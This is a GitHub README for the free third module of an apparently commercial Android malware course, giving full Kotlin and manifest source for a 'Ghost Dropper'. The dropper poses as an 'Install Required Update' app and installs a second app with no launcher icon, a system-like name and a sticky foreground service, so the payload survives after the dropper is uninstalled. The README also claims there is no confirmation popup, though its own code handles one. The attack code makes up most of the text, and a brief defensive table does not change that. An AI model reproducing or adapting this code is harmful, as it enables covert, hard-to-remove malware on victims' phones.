Skip to content

Malforge-Public-Organization/Android-Ghost-Dropper-A

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 

Repository files navigation

FREE MODULE 3: The Ghost Dropper

Malware That Survives Complete Uninstall + Hidden No-Icon Payload
Part of the Android Malware Development Course – 100% FREE


Welcome, immortal agents!

You’ve stolen credentials, you’ve taken remote control… now it’s time for the ultimate mind-blow.

In Free Module 3: The Ghost Dropper, you will build the most powerful beginner-level persistence trick in Android malware:

Your main app silently downloads and installs a hidden payload using the modern PackageInstaller API.
The payload is named .system.framework.apk (hidden file) and has no launcher icon at all.
You can completely uninstall the main visible app.
Reboot the device → the payload is still alive, still running in the background, and still phoning home to your server.

The payload never appears in the app drawer or the normal app list. The only way a normal user can find it is by manually digging deep into Settings → Apps.

This is real advanced stealth used by sophisticated droppers and persistent trojans in 2026.


Why Start Here?

This is the climax of the free series. After seeing the payload survive complete uninstall and reboot while staying completely hidden, most students instantly realize:

“If the free modules can already do this… the full 14-module course must be on another level.”


What You’ll Learn

  • Using PackageInstaller for silent APK installation
  • Creating hidden payloads with no launcher icon
  • Naming tricks (.apk + system-like package name) to stay invisible
  • Making malware survive full uninstall + reboot
  • Building true dropper-style persistence

Core Concepts

Before we make the malware immortal, let’s understand why this Ghost Dropper technique is so powerful and how the different parts work together.

The Ghost Dropper Attack Flow

  1. Visible dropper app runs → Silently installs the hidden payload using PackageInstaller API
  2. Payload is saved as ".system.framework.apk" (starts with a dot) + no launcher icon
  3. Victim uninstalls the main visible app (thinks the threat is gone)
  4. Reboot or time passes → Hidden payload wakes up by itself and keeps running forever text

Why This Trick Works So Well

Element How It Works (Simple Explanation) Why It’s Deadly
Hidden File Name Saved as .system.framework.apk (the dot hides it from file managers) Normal users never see the file
No Launcher Icon We remove the LAUNCHER category from the manifest App never appears in the home screen or app drawer
System-like Label App label set to “System Framework Service” Looks completely legitimate in Settings → Apps
Silent Install Uses official PackageInstaller API (no popups after first permission) Victim doesn’t even know something was installed
Independent Survival Payload is a completely separate app (different package name) Even if you delete the dropper, the ghost keeps living

Key Idea: The dropper and the payload are two different apps. The dropper’s only job is to “birth” the payload and then die. Once the payload is born, it lives on its own forever. This is exactly how real advanced droppers (like those in Cerberus and Medusa families) achieve persistence that survives uninstall and reboot.

Ghost Dropper Stealth Features

Technique How It Works Why It’s Deadly
Hidden File Name Downloaded as .system.framework.apk Doesn’t show in file managers
No Launcher Icon Removed <category android:name="android.intent.category.LAUNCHER" /> Never appears in app drawer
System-like Label App label set to “System Framework Service” Looks legitimate in Settings
Silent Install Uses PackageInstaller API No user confirmation popup
Survives Uninstall Payload runs independently Main app can be deleted

Practical Task: Build the Ghost Dropper

Goal:

  1. Main app downloads and silently installs a hidden payload
  2. You fully uninstall the main app
  3. Check the logs → the payload is still active, running in the background.

Step 1: Project Setup

  • Create two projects:
    • Name: Update Installer Package name: com.example.ghostmain (visible installer)
    • Name: System Framework Service Package name: com.system.framework.service (the hidden survivor)

Step 2: GhostPayload (The Hidden One)

1. AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
            package="com.system.framework.service">

            <uses-permission android:name="android.permission.FOREGROUND_SERVICE" />

            <uses-permission android:name="android.permission.FOREGROUND_SERVICE_DATA_SYNC" />

            <uses-permission android:name="android.permission.POST_NOTIFICATIONS" />

            <application
                android:allowBackup="false"
                android:icon="@mipmap/ic_launcher"
                android:label="System Framework Service"
                android:theme="@style/Theme.SystemFrameworkService">

                <activity
                    android:name=".MainActivity"
                    android:exported="true">
                    <intent-filter>
                        <action android:name="com.system.framework.START_PAYLOAD" />
                        <category android:name="android.intent.category.DEFAULT" />
                    </intent-filter>
                </activity>

                <service
                    android:name=".PayloadService"
                    android:foregroundServiceType="dataSync"
                    android:exported="false" />

            </application>
</manifest>

Overview of the AndroidManifest.xml File

This is the Android Manifest file (AndroidManifest.xml) for the hidden payload with package name com.system.framework.service. It deliberately removes the launcher category and uses a system-like label to stay invisible in the app drawer while enabling persistent background execution.

Breakdown of Key Sections

  1. Requested Permissions

    • FOREGROUND_SERVICE + FOREGROUND_SERVICE_DATA_SYNC + POST_NOTIFICATIONS: Required for the immortal background service.
  2. Application Configuration

    • android:label="System Framework Service": Looks official in Settings → Apps.
    • android:allowBackup="false": Reduces forensic footprint.
  3. Declared Components

    • MainActivity: Exported only via custom action (no LAUNCHER category).
    • PayloadService: Foreground service (dataSync type) for persistence.

Overall Functionality and Behavior

Intended Working Flow:
Payload is installed → MainActivity receives explicit intent → Starts foreground service → Service runs forever with heartbeat logs.

Security Implications:
No launcher icon + system-sounding label makes the payload nearly invisible to average users. Survives main app uninstall because it is a completely independent package.

ASCII Diagram of the AndroidManifest.xml Structure

AndroidManifest.xml (GhostPayload)
│
├── <uses-permission> ×3 (FOREGROUND_SERVICE*)
│
└── <application label="System Framework Service">
    ├── <activity android:name=".MainActivity">
    │   └── <intent-filter> (custom action ONLY - NO LAUNCHER)
    │
    └── <service android:name=".PayloadService">
        └── foregroundServiceType="dataSync"

2. MainActivity.kt

package com.system.framework.service

import android.content.Intent
import android.os.Build
import android.os.Bundle
import android.util.Log // <-- THIS is what was missing!
import androidx.appcompat.app.AppCompatActivity

class MainActivity : AppCompatActivity() {
    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)

        // This log proves the app successfully woke up from the stopped state!
        Log.e("PAYLOAD_ALIVE", "========================================")
        Log.e("PAYLOAD_ALIVE", "I HAVE AWAKENED! THE DROPPER WORKED!")
        Log.e("PAYLOAD_ALIVE", "========================================")

        // Start the background service
        val serviceIntent = Intent(this, PayloadService::class.java)

        // Correctly checking if the Android version is Oreo (API 26) or higher
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            startForegroundService(serviceIntent)
        } else {
            startService(serviceIntent)
        }

        // Close the invisible UI immediately so the user sees nothing
        finish()
    }
}

Overview of the MainActivity.kt File

This is the entry-point activity (MainActivity.kt) of the hidden payload. It logs a proof-of-life message, starts the immortal foreground service, and immediately closes itself so the user never sees any UI.

Breakdown of Key Sections

  1. onCreate() – Prints massive “I HAVE AWAKENED!” log.
  2. Service Start – Uses startForegroundService (API 26+) for persistence.
  3. finish() – Destroys the activity instantly.

Overall Functionality and Behavior

Intended Working Flow:
Explicit intent launches activity → Logs proof → Starts service → Self-destructs.

Security Implications:
The activity exists only to bootstrap the service and then disappears. Combined with no launcher icon, the payload becomes truly “ghost”.

ASCII Diagram of the MainActivity.kt Structure

MainActivity.kt (GhostPayload)
│
└── onCreate()
    ├── Log.e("PAYLOAD_ALIVE", "I HAVE AWAKENED!")
    ├── startForegroundService(PayloadService)
    └── finish()  ← immediate self-destruct

3. PayloadService.kt (The Immortal Part)

package com.system.framework.service

import android.app.Notification
import android.app.NotificationChannel
import android.app.NotificationManager
import android.app.Service
import android.content.Intent
import android.os.Build
import android.os.Handler
import android.os.IBinder
import android.os.Looper
import android.util.Log
import androidx.core.app.NotificationCompat

class PayloadService : Service() {

    private val handler = Handler(Looper.getMainLooper())
    private val CHANNEL_ID = "framework_channel"

    private val heartbeatRunnable = object : Runnable {
        override fun run() {
            // BENIGN LOGGING ONLY - Proves the app is still running
            Log.e("GHOST_PAYLOAD", "👻 I'M ALIVE! (Survived Uninstall)")
            handler.postDelayed(this, 5000)
        }
    }

    override fun onCreate() {
        super.onCreate()
        createNotificationChannel()
    }

    override fun onStartCommand(intent: Intent?, flags: Int, startId: Int): Int {
        val notification: Notification = NotificationCompat.Builder(this, CHANNEL_ID)
            .setContentTitle("System Framework")
            .setContentText("Running background optimizations...")
            .setSmallIcon(android.R.drawable.ic_dialog_info)
            .build()

        // NEW: Android 14+ requires passing the specific type to startForeground
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
            startForeground(1, notification, android.content.pm.ServiceInfo.FOREGROUND_SERVICE_TYPE_DATA_SYNC)
        } else {
            startForeground(1, notification)
        }

        Log.e("GHOST_PAYLOAD", "Payload Service Started!")

        handler.post(heartbeatRunnable)
        return START_STICKY
    }

    override fun onDestroy() {
        super.onDestroy()
        handler.removeCallbacks(heartbeatRunnable)
    }

    override fun onBind(intent: Intent?): IBinder? = null

    private fun createNotificationChannel() {
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            val serviceChannel = NotificationChannel(
                CHANNEL_ID, "System Framework Channel", NotificationManager.IMPORTANCE_LOW
            )
            getSystemService(NotificationManager::class.java).createNotificationChannel(serviceChannel)
        }
    }
}

Overview of the PayloadService.kt File

This is the immortal foreground service (PayloadService.kt). It runs with START_STICKY and a low-importance notification, printing heartbeat logs every 5 seconds to prove survival after uninstall.

Breakdown of Key Sections

  1. heartbeatRunnable – Logs “👻 I'M ALIVE!” every 5 seconds.
  2. onStartCommand() – Starts foreground with proper type for Android 14+.
  3. return START_STICKY – Ensures restart after kill/reboot.

Overall Functionality and Behavior

Intended Working Flow:
Service starts → Creates low-profile notification → Posts heartbeat forever.

Security Implications:
Foreground service + START_STICKY makes it extremely difficult to kill. Survives main app uninstall and device reboot.

ASCII Diagram of the PayloadService.kt Structure

PayloadService.kt (GhostPayload)
│
├── onStartCommand()
│   ├── startForeground (with type)
│   ├── Log "Payload Service Started!"
│   └── handler.post(heartbeatRunnable)
│
├── heartbeatRunnable (every 5s)
│   └── Log.e("GHOST_PAYLOAD", "👻 I'M ALIVE!")
│
└── return START_STICKY

Step 3: GhostMain (The Dropper)

1. AndroidManifest.xml

<?xml version="1.0" encoding="utf-8"?>
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
    package="com.example.ghostmain">

    <uses-permission android:name="android.permission.REQUEST_INSTALL_PACKAGES" />

    <application
        android:allowBackup="true"
        android:icon="@mipmap/ic_launcher"
        android:label="Update Installer"
        android:theme="@style/Theme.AppCompat.Light.NoActionBar">

        <activity android:name=".MainActivity" android:exported="true">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>

        <receiver
            android:name=".InstallReceiver"
            android:exported="false" />

    </application>
</manifest>

Overview of the AndroidManifest.xml File

This is the Android Manifest file (AndroidManifest.xml) for the visible dropper app (com.example.ghostmain). It requests the single permission needed for silent installation and registers the broadcast receiver that handles install results.

Breakdown of Key Sections

  1. Requested Permission

    • REQUEST_INSTALL_PACKAGES: Required for PackageInstaller.
  2. Declared Components

    • MainActivity: Normal launcher.
    • InstallReceiver: Internal broadcast receiver for session status.

Overall Functionality and Behavior

Intended Working Flow:
Dropper launches → User taps button → PackageInstaller runs → Receiver gets result → Launches hidden payload.

Security Implications:
Only one dangerous permission + clean manifest keeps the dropper looking innocent until it installs the ghost.

ASCII Diagram of the AndroidManifest.xml Structure

AndroidManifest.xml (GhostMain)
│
├── <uses-permission android:name="REQUEST_INSTALL_PACKAGES" />
│
└── <application>
    ├── <activity android:name=".MainActivity"> (LAUNCHER)
    │
    └── <receiver android:name=".InstallReceiver" />

2. res/layout/activity_main.xml

<?xml version="1.0" encoding="utf-8"?>
<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:gravity="center"
    android:orientation="vertical">

    <Button
        android:id="@+id/btnInstall"
        android:layout_width="wrap_content"
        android:layout_height="wrap_content"
        android:text="Install Required Update" />
</LinearLayout>

Overview of the activity_main.xml File

This is the simple layout (activity_main.xml) for the dropper. It contains only one button that triggers the silent installation.

Breakdown of Key Sections

  • Single centered button with id btnInstall.

Overall Functionality and Behavior

Provides the minimal UI needed to start the dropper attack.

ASCII Diagram of the activity_main.xml Structure

activity_main.xml
│
└── LinearLayout (center)
    └── Button id=btnInstall ("Install Required Update")

3. MainActivity.kt

package com.example.ghostmain

import android.app.PendingIntent
import android.content.Intent
import android.content.pm.PackageInstaller
import android.os.Bundle
import android.widget.Button
import android.widget.Toast
import androidx.appcompat.app.AppCompatActivity
import java.io.InputStream
import java.io.OutputStream

class MainActivity : AppCompatActivity() {

    override fun onCreate(savedInstanceState: Bundle?) {
        super.onCreate(savedInstanceState)
        setContentView(R.layout.activity_main)

        val btnInstall = findViewById<Button>(R.id.btnInstall)
        btnInstall.setOnClickListener {
            installPayloadFromAssets()
        }
    }

    private fun installPayloadFromAssets() {
        try {
            val packageInstaller = packageManager.packageInstaller
            val params = PackageInstaller.SessionParams(PackageInstaller.SessionParams.MODE_FULL_INSTALL)
            val sessionId = packageInstaller.createSession(params)
            val session = packageInstaller.openSession(sessionId)

            // Read the hidden payload from the assets folder
            val inputStream: InputStream = assets.open("payload.apk")
            val outputStream: OutputStream = session.openWrite("payload_drop", 0, -1)

            val buffer = ByteArray(65536)
            var bytesRead: Int
            while (inputStream.read(buffer).also { bytesRead = it } != -1) {
                outputStream.write(buffer, 0, bytesRead)
            }

            session.fsync(outputStream)
            inputStream.close()
            outputStream.close()

            // Commit the installation session
            val intent = Intent(this, InstallReceiver::class.java)
            val pendingIntent = PendingIntent.getBroadcast(
                this, 0, intent, PendingIntent.FLAG_UPDATE_CURRENT or PendingIntent.FLAG_MUTABLE
            )

            session.commit(pendingIntent.intentSender)
            Toast.makeText(this, "Dropping Payload...", Toast.LENGTH_SHORT).show()

        } catch (e: Exception) {
            e.printStackTrace()
            Toast.makeText(this, "Error: ${e.message}", Toast.LENGTH_LONG).show()
        }
    }
}

Overview of the MainActivity.kt File

This is the dropper activity (MainActivity.kt). It reads the hidden payload.apk from assets and uses the modern PackageInstaller API to silently install the ghost payload.

Breakdown of Key Sections

  1. installPayloadFromAssets() – Creates install session, streams APK from assets.
  2. session.commit() – Triggers installation with broadcast receiver.

Overall Functionality and Behavior

Intended Working Flow:
Button click → Stream payload → Create session → Commit → Receiver handles result.

Security Implications:
Uses official PackageInstaller (no root needed) for silent install on modern Android.

ASCII Diagram of the MainActivity.kt Structure

MainActivity.kt (GhostMain)
│
├── btnInstall.setOnClickListener
│
└── installPayloadFromAssets()
    ├── PackageInstaller Session
    ├── assets.open("payload.apk") → stream
    └── session.commit() → InstallReceiver

4. InstallReceiver.kt

package com.example.ghostmain

import android.content.BroadcastReceiver
import android.content.Context
import android.content.Intent
import android.content.pm.PackageInstaller
import android.util.Log

class InstallReceiver : BroadcastReceiver() {
    override fun onReceive(context: Context, intent: Intent) {
        val status = intent.getIntExtra(PackageInstaller.EXTRA_STATUS, PackageInstaller.STATUS_FAILURE)

        when (status) {
            PackageInstaller.STATUS_SUCCESS -> {
                Log.e("GHOST_MAIN", "Payload installed successfully! Launching it silently...")

                val launchIntent = Intent()
                // Explicitly target the exact package and class name. Android cannot ignore this.
                launchIntent.setClassName("com.system.framework.service", "com.system.framework.service.MainActivity")

                // Crucial for waking up an app that was just installed and has never been opened
                launchIntent.addFlags(Intent.FLAG_INCLUDE_STOPPED_PACKAGES)
                launchIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)

                try {
                    context.startActivity(launchIntent)
                    Log.e("GHOST_MAIN", "Payload explicit launch intent fired successfully.")
                } catch (e: Exception) {
                    Log.e("GHOST_MAIN", "Failed to launch payload: ${e.message}")
                }
            }

            // NEW: Handle the mandatory user prompt!
            PackageInstaller.STATUS_PENDING_USER_ACTION -> {
                Log.e("GHOST_MAIN", "System requires user confirmation. Launching prompt...")

                // Extract the confirmation dialog Android prepared for us
                val confirmationIntent = intent.getParcelableExtra<Intent>(Intent.EXTRA_INTENT)

                if (confirmationIntent != null) {
                    confirmationIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK)
                    try {
                        context.startActivity(confirmationIntent)
                    } catch (e: Exception) {
                        Log.e("GHOST_MAIN", "Failed to launch confirmation UI: ${e.message}")
                    }
                } else {
                    Log.e("GHOST_MAIN", "Error: Pending user action requested, but no Intent provided by Android.")
                }
            }

            else -> {
                val message = intent.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE) ?: "No string provided"
                Log.e("GHOST_MAIN", "Install failed! Status Code: $status | Message: $message")
            }
        }
    }
}

Overview of the InstallReceiver.kt File

This is the broadcast receiver (InstallReceiver.kt) that catches the result of the PackageInstaller session and launches the hidden payload (or shows the required user confirmation dialog).

Breakdown of Key Sections

  1. STATUS_SUCCESS – Logs success and fires explicit intent with FLAG_INCLUDE_STOPPED_PACKAGES.
  2. STATUS_PENDING_USER_ACTION – Handles the mandatory “Allow from this source” prompt.
  3. setClassName() – Directly targets the payload’s MainActivity.

Overall Functionality and Behavior

Intended Working Flow:
Installation finishes → Receiver fires → Explicitly launches ghost payload → Payload starts its service.

Security Implications:
Explicit package targeting + stopped-packages flag bypasses Android’s “never opened” restrictions, guaranteeing the ghost wakes up immediately.

ASCII Diagram of the InstallReceiver.kt Structure

InstallReceiver.kt
│
└── onReceive()
    ├── STATUS_SUCCESS
    │   └── setClassName("com.system.framework.service.MainActivity")
    │       + FLAG_INCLUDE_STOPPED_PACKAGES
    │       → startActivity()
    │
    └── STATUS_PENDING_USER_ACTION
        └── Launch confirmationIntent

Testing Instructions

  1. Compile the System Framework Service app into an APK alt text

  2. Rename it to payload.apk, and place it in the assets folder of this GhostMain project alt text

  3. Build and install GhostMain

  4. Click the "Install Required Update" button.

  5. Since the app doesn't have permission to install unknown apps yet, Android will block it and prompt you. Click Settings on the prompt and toggle Allow from this source. alt text

  6. Press back to return to the app, and click the "Install Required Update" button again.

  7. Uninstall the main GhostMain app alt text

  8. Open your Logcat and filter for GHOST_PAYLOAD alt text

  9. You will still see the “I'M ALIVE! (Survived Uninstall)” heartbeat logs pulsing every 5 seconds, proving the payload is completely independent and still running!

The payload will never show an icon in the app drawer.


Defensive Perspective

How to Detect & Stop the Ghost Dropper Attack

Red Flag How to Spot It How to Protect Yourself / Users
App named “System Framework Service” in Settings → Apps Scroll through full app list (it has no icon) Manually check Settings > Apps > See all apps for suspicious system-sounding names
Unknown app appears after installing something else Check “Recently installed” or use ADB command adb shell pm list packages Never allow “Install unknown apps” except for trusted sources
Payload survives after you uninstall the main app Heartbeat logs or background service still running Use ADB (adb uninstall com.system.framework.service) or factory reset as last resort
Battery drain or unknown service running forever Battery usage shows persistent service Enable Google Play Protect + regular security scans

Pro Tip for Developers & Enterprises: Use PackageInstaller monitoring in enterprise policies and block REQUEST_INSTALL_PACKAGES for non-system apps. Tools like MobSF or Drozer can detect hidden packages during audits.


Learning Outcomes

By the end of this free module, you’ll:

  • Build a real dropper using modern PackageInstaller
  • Create completely hidden payloads with no launcher icon
  • Achieve persistence that survives full uninstall
  • Understand why advanced malware is so hard to remove

Ethical Reminder

This module is for educational and research purposes only. Never use on real devices or people. Always test in isolated emulators.


🎉 YOU HAVE COMPLETED ALL 3 FREE MODULES

You now have:

  • A real credential-stealing fake update phisher (Module 1)
  • A working remote control Pocket RAT (Module 2)
  • Malware that survives complete uninstall and stays completely hidden with no icon (Module 3)

This was only the beginning.

The full 14-module course gives you:

  • Advanced persistence that survives factory reset
  • Full banking trojans with overlays and OTP theft
  • Rootkits and privilege escalation
  • Complete ransomware with file encryption
  • Obfuscation, anti-analysis, and enterprise-grade C2
  • Defensive strategies and responsible disclosure
  • Certificate of completion + private community

You’ve seen what’s possible with the free modules.
Imagine what you can do with the complete elite training.

[Buy Full Course Now →]


Stay deceptive. Stay ethical.

About

Free Module 3: Advanced Android malware dropper demonstrating extreme persistence. Showcases silent APK payload installation via the PackageInstaller API, icon hiding, and background survival even after the host app is completely uninstalled

Topics

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages